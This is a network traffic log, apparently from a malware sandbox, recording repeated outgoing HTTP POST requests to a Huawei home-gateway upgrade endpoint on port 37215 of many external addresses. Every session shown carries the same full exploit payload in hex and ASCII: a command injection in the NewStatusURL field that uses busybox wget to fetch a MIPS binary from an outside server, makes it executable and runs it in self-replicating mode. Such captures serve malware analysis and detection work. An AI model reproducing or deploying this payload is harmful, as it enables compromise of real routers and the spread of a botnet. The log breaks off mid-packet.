Oct 17, 2024 02:19:43.382811069 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.14	53766	156.245.159.165	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.387141943 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.14	51388	197.227.122.154	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.390641928 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.14	58860	197.226.27.20	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.394047976 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.14	37498	156.110.225.254	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.397813082 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.14	56690	156.174.124.75	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.402172089 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.14	55716	41.24.74.237	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.406151056 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.14	45386	197.185.101.11	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.409265041 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.14	36726	197.94.217.178	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.412849903 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.14	45456	41.96.201.111	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.415370941 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.14	42374	41.37.238.162	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.418066025 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 